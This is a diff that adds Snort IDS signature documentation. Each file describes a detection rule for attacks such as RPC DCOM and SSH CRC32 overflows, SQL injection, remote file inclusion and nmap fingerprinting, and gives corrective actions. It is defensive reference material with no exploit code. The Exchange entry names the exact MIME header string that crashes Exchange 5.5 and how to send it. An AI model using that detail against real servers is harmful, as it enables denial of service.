+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1563.txt
+++ snort-2.8.5.2/doc/signatures/1563.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1563
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2294.txt
+++ snort-2.8.5.2/doc/signatures/2294.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+2294
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the PHP web application Proxy2.de Advanced Poll 2.0.2
+running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt may have been made to exploit a
+known vulnerability in the PHP application Proxy2.de Advanced Poll
+2.0.2. This application does not perform stringent checks when handling
+user input, this may lead to the attacker being able to execute PHP
+code, include php files and possibly retrieve sensitive files from the
+server running the application.
+
+--
+Affected Systems:
+	All systems running Proxy2.de Advanced Poll 2.0.2
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. No exploit code is required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1674.txt
+++ snort-2.8.5.2/doc/signatures/1674.txt
@@ -0,0 +1,70 @@
+Rule:  
+
+--
+Sid: 1674
+
+-- 
+
+Summary: 
+This event is generated when a command is issued to an Oracle database server that may result in a serious compromise of the data stored on that system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained superuser access to the system.
+
+--
+Detailed Information:
+This event is generated when an attacker issues a special command to an Oracle database that may result in a serious compromise of all data stored on that system.
+
+Such commands may be used to gain access to a system with the privileges of an administrator, delete data, add data, add users, delete users, return sensitive information or gain intelligence on the server software for further system compromise.
+ 
+This connection can either be a legitimate telnet connection or the result of spawning a remote shell as a consequence of a successful network exploit. 
+
+Oracle servers running on a Windows platform may listen on any arbitrary
+port. Change the $ORACLE_PORTS variable in snort.conf to "any" if this
+is applicable to the protected network.
+
+--
+
+Attack Scenarios: 
+Simple. These are Oracle database commands.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in and issuing database commands from a location outside the protected network.
+
+--
+False Negatives:
+Configure your ORACLE_PORTS variable correctly for the environment you are in. 
+In many situations ORACLE negotiates a communication port. This means that 1521 
+and 1526 are not used for communication during the entire transaction. A new 
+port is negotiated after the initial connect message, all communication after 
+that uses this other port. If you are in an environment such as this, you should 
+set ORACLE_PORTS to "any" in snort.conf. 
+ 
+Otherwise, there are no known false negatives.
+
+-- 
+
+Corrective Action: 
+Use a firewall to disallow direct access to the Oracle database from sources external to the protected network.
+Ensure that this event was not generated by a legitimate session then investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/629.txt
+++ snort-2.8.5.2/doc/signatures/629.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+629
+
+--
+Summary:
+This event is generated when the nmap port scanner and reconnaissance 
+tool is used against a host.
+
+When run with the '-O' option, it attempts to identify the remote  
+operating system.
+
+--
+Impact:
+Can provide useful reconnaissance information to an attacker.  Has been
+known to cause a denial of service on some older  hosts.
+
+--
+Detailed Information:
+nmap attempts to identify the remote operating system by looking for
+different services that are common or specific to  particular operating
+systems.  It also sends a variety of abnormal packets that are often
+handled differently by different  operating systems so that it can
+differentiate between them based on the responses.
+
+--
+Affected Systems:
+All
+
+--
+Attack Scenarios:
+nmap is often used before an attempt to gain access to a system.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None known.  The signature may be produced by other scanners but is
+unlikely to be used for legitimate activity.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Block any TCP packets that have the SYN, FIN, PUSH and URGENT flags set
+using a firewall.  Block only packets that have all four of the flags
+set as they are individually and in other combinations necessary for
+normal TCP traffic.  If you block them  individually or in other
+combinations your network will not function correctly.
+
+--
+Contributors:
+Original Rule Writer Unknown (prime suspect is Marty Roesch)
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Steven Alexander<alexander.s@mccd.edu>
+--
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS05
+
+Nmap scanner:
+http://www.insecure.org
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3104.txt
+++ snort-2.8.5.2/doc/signatures/3104.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+3104
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft License Logging Service.
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+Microsoft License Logging Service is used to manage licenses for
+Microsoft server products.
+
+A vulnerability in the service exists due to a programming error such
+that an unchecked buffer may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain administrative access to the target host.
+
+The unchecked buffer exists when processing the length of messages sent
+to the logging service.
+
+--
+Affected Systems:
+	Microsoft Windows Server 2003
+	Microsoft Windows Server 2000
+	Microsoft Windows NT Server
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message to the service
+containing code of their choosing to be run on the server.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/330.txt
+++ snort-2.8.5.2/doc/signatures/330.txt
@@ -0,0 +1,63 @@
+Rule: 
+
+--
+Sid: 330
+
+-- 
+Summary: 
+This is an intelligence gathering activity. This event is indicative of a connection laundering attack against the finger daemon
+
+-- 
+Impact: 
+The attacker may obtain information about a third party host without making a direct connection to that host.
+
+--
+Detailed Information:
+The event is generated when an attempt to use a machine to run
+finger queries against a third party UNIX system is attempted. 
+
+The attack utilizes "finger forwarding" functionality, normally used to forward queries to a third party machine. The information is obtained without a direct connection to the said third party, since the target system performs a connection to the third party host for the attacker. 
+
+The Finger daemon is used to provide information about users on a UNIX system. It used to be installed and enabled by default on most UNIX/Linux systems. The attack if successful, will confirm that the target host will try to forward queries.
+
+--
+Attack Scenarios: 
+An attacker runs a finger query and obtains information about the root account. He then proceeds to compromise the system using the obtained data as a basis for the compromise.
+
+--
+Ease of Attack: 
+Simple, no exploit software required
+
+-- 
+False Positives: 
+None Known
+
+--
+False Negatives: 
+None Known
+
+-- 
+Corrective Action: 
+Disable the finger daemon or upgrade to a daemon without finger forwarding functionality
+
+
+--
+Contributors: 
+Original rule written by Max Vision <vision@whitehats.com>
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Nessus:
+http://cgi.nessus.org/plugins/dump.php3?id=10073
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0105
+
+Arachnids:
+http://www.whitehats.com/info/IDS251
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1183.txt
+++ snort-2.8.5.2/doc/signatures/1183.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1183
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000774.txt
+++ snort-2.8.5.2/doc/signatures/100000774.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000774
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection vulnerability in the "Blog CMS" application running on a webserver. Access to the file "index.php" with SQL commands being passed as the "category" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a remote machine via the "category" parameter in the "index.php" script used by the "Blog CMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to compromise the database backend for the application, the attacker may also be able to execute system binaries or malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Blog CMS
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application if user input is not correctly sanitized or checked before passing that input to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1327.txt
+++ snort-2.8.5.2/doc/signatures/1327.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+1327
+
+--
+Summary:
+Secure Shell (SSH) is used to remotely manage systems over encrypted TCP
+sessions. This event is generated when an attempt is made to exploit 
+vulnerable versions of the SSH daemon.
+
+--
+Impact:
+System compromize presenting the attacker with root privileges. Denial 
+of Service (DoS) on certain network devices.
+
+--
+Detailed Information:
+A flaw in the CRC32 compensation attack detection code may result in 
+arbitrary code execution with the privileges of the user running the SSH
+daemon (usually root).
+
+Some Netscreen devices may suffer a Denial of Service.
+
+Affected Systems:
+	OpenSSH versions prior to 2.2
+	Multiple Cisco network devices
+	Multiple Netscreen network devices
+	SSH Secure Communications prior to 1.2.31
+
+--
+Attack Scenarios:
+The attacker would need to send specially crafted large SSH packets to 
+cause the overflow and present the opportunity to write values to memory
+locations.
+
+Exploit scripts are available
+
+--
+Ease of Attack:
+Simple. Exploits are available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CERT:
+http://www.kb.cert.org/vuls/id/945216
+
+Analysis by David Dittrich:
+http://staff.washington.edu/dittrich/misc/ssh-analysis.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1910.txt
+++ snort-2.8.5.2/doc/signatures/1910.txt
@@ -0,0 +1,70 @@
+Rule:
+
+Sid:
+1909
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overflow associated with the Remote Procedure Call (RPC) Calendar
+Manager Service daemon, cmsd.
+
+--
+Impact:
+Remote root access. The attack may allow execution of arbitrary commands
+with the privileges of root.
+
+--
+Detailed Information:
+The cmsd RPC service implements the Calendar Manager Service daemon that
+is often distributed with the Common Desktop Environment (CDE) and Open
+Windows. The Calendar Manager daemon provides appointment and scheduling
+functions for CDE. A buffer overflow exists in the rtable_insert()
+function because of improper bounds checking, allowing the execution of
+arbitrary commands with the privileges of root.  One possible exploit
+vector is by inserting appointments into the Calendar Manager database.
+ 
+--
+Affected Systems:
+	SCO Open UNIX 8.0
+	SCO UnixWare 7.1.1
+	HP-UX 10.20, 10.24, 10.30, 11.0
+	Sun Solaris 2.3, 2.4, 2.5, 2.5.1, 2.6, 7.0
+	Sun SunOS 4.1.3, 4.1.4
+
+--
+Attack Scenarios:
+The attacker can use the exploit code to overflow the buffer allowing
+execution of arbitrary commands with the privileges of root.
+
+--
+Ease of Attack:
+Simple. Exploit code is freely available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to
+RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3235.txt
+++ snort-2.8.5.2/doc/signatures/3235.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3235
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1041.txt
+++ snort-2.8.5.2/doc/signatures/1041.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid: 1041
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a potential weakness on a host running Microsoft Internet Information Server (IIS). 
+
+--
+Impact:
+Information gathering possible administrator access.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit potential weaknesses in a host running Microsoft IIS.
+
+The attacker may be trying to gain information on the IIS implementation on the host, this may be the prelude to an attack against that host using that information.
+
+The attacker may also be trying to gain administrator access to the host, garner information on users of the system or retrieve sensitive customer information.
+
+Some applications may store sensitive information such as database connections, user information, passwords and customer information in files accessible via a web interface. Care should be taken to ensure these files are not accessible to external sources.
+
+--
+Affected Systems:
+Any host using IIS.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the IIS implementation. The attacker might then gain administrator access to the site, deface the content or gain access to a database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the IIS implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/658.txt
+++ snort-2.8.5.2/doc/signatures/658.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+658
+
+--
+Summary:
+This event is generated when a denial of service is attempted on a Microsoft Exchange mail server.
+
+--
+Impact:
+Denial of service.  This will cause the Exchange server to fail.  
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft Exchange 5.5 that causes a denial of service if a MIME header contains the string 'charset = ""'.  The Exchange server does not properly handle this MIME header string, causing it to crash.
+
+--
+Affected Systems:
+Microsoft Exchange server 5.5
+
+--
+Attack Scenarios:
+An attacker can supply a malicious string in the MIME header causing the Exchange server to fail. 
+
+--
+Ease of Attack:
+Easy.  An attacker can telnet to port 25 of the Exchange server, start a dialogue with the server, and supply the malicious string in the MIME header.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Apply the appropriate patch or upgrade to Exchange 5.5 service Pack 4.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft:
+http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/ms00-082.asp 
+
+Miscellaneous:
+http://packetstormsecurity.nl/0011-exploits/exchange.dos.txt
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2423.txt
+++ snort-2.8.5.2/doc/signatures/2423.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+2423
+
+--
+Summary:
+This event is generated when an attempt is made to download a file that
+may be an attack vector for a known exploit to a vulnerability in Real 
+Networks RealPlayer/RealOne player.
+
+--
+Impact:
+Serious. Execution of arbitrary code.
+
+--
+Detailed Information:
+RealNetworks RealPlayer/RealOne player is a streaming media player for
+Microsoft Windows, Apple Macintosh and UNIX/Linux based operating systems.
+
+A buffer overrun condition is present in some versions of the player
+that may present a remote attacker with the opportunity to execute code
+of their choosing on a client using one of these players.
+
+--
+Affected Systems:
+	Real Networks RealOne Desktop Manager
+	Real Networks RealOne Enterprise Desktop 6.0.11 .774
+	Real Networks RealOne Player 1.0
+	Real Networks RealOne Player 2.0
+	Real Networks RealOne Player 6.0.11 .868
+	Real Networks RealOne Player version 2.0 for Windows
+	Real Networks RealPlayer 8.0 Win32
+	Real Networks RealPlayer 8.0 Unix
+	Real Networks RealPlayer 8.0 Mac
+	Real Networks RealPlayer 10.0 BETA
+
+--
+Attack Scenarios:
+An attacker may supply a malformed file to the client to exploit the
+issue.
+
+--
+Ease of Attack:
+Simple. 
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2025.txt
+++ snort-2.8.5.2/doc/signatures/2025.txt
@@ -0,0 +1,94 @@
+Rule:
+
+--
+Sid:
+2025
+
+--
+Summary:
+A user can change their password for Network Information Services (NIS) 
+using the ypasswd command. A vulnerability exists in ypasswd where
+an overly long username can cause a buffer overflow resulting in 
+unauthorized access to the remote machine.
+
+--
+Impact:
+Unauthorized super user access to the vulnerable host resulting in a 
+compromise of all data on the host and any network resources that host 
+is connected to. Full control of the victim is gained.
+
+--
+Detailed Information:
+The rpc.ypasswd service processes all password changes from 
+ypasswd. Supplying a specially crafted request to a NIS server 
+running this daemon in the form of a long username, the attacker can 
+cause a buffer overflow in that process.
+
+Since all master servers handling NIS resources run this daemon, the 
+resulting root access affects all NIS resources available on the LAN.
+
+An exploit for this vulnerability exists, hosts that have been 
+compromised using this vulnerability typically display two instances of 
+inetd running at the same time. The result of the exploit is a root 
+shell attached to port 77 of the host.
+
+--
+Affected Systems:
+	Caldera OpenServer 5.0.5
+	Caldera OpenServer 5.0.6
+	Solaris 2.6
+	Solaris 7
+	Solaris 8
+
+--
+Attack Scenarios:
+The attacker needs to craft a specially formulated request to the 
+rpc.ypasswd service containing a long username. An exploit for this 
+vulnerability exists.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply pacthes for the affected systems as soon as possible.
+
+Disable the rpc.ypasswd daemon.
+
+Disallow all RPC requests from external sources and use a firewall to 
+block access to RPC ports from outside the LAN.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0779
+
+CIAC:
+http://www.ciac.org/ciac/bulletins/m-008.shtml
+
+Bugtraq:
+http://www.securityfocus.com/bid/2763
+
+Security Focus Mailing List Archive:
+http://www.securityfocus.com/archive/1/187086
+
+CERT:
+http://www.kb.cert.org/vuls/id/327281
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2628.txt
+++ snort-2.8.5.2/doc/signatures/2628.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2628
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in database
+replication. The "repcat_import_check" procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by a long string in some parameters for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to the "gowner" or "gname"
+variable to cause the overflow. The result could permit the
+attacker to gain escalated privileges and run code of their
+choosing. This attack requires an attacker to logon to the
+database with a valid username and password combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck90.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000837.txt
+++ snort-2.8.5.2/doc/signatures/100000837.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000837
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "MiniBB" application running on a webserver. Access to the file "index.php" using a remote file being passed as the "absolute_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "absolute_path" parameter in the "index.php" script used by the "MiniBB" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using MiniBB
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2132.txt
+++ snort-2.8.5.2/doc/signatures/2132.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid: 2132
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a weakness in Synchrologic Email Accelerator running on Microsoft IIS. 
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a weakness in the Synchrologic Email Accelerator application.
+
+The attacker may be trying to gain information on the list of users allowed to use the service, this may be the prelude to an attack against the host using that information.
+
+--
+Affected Systems:
+Any host using Synchrologic Email Accelerator.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the list of authorized users for the application. The attacker might then gain access to the application as a valid user.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the IIS implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1209.txt
+++ snort-2.8.5.2/doc/signatures/1209.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1209
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
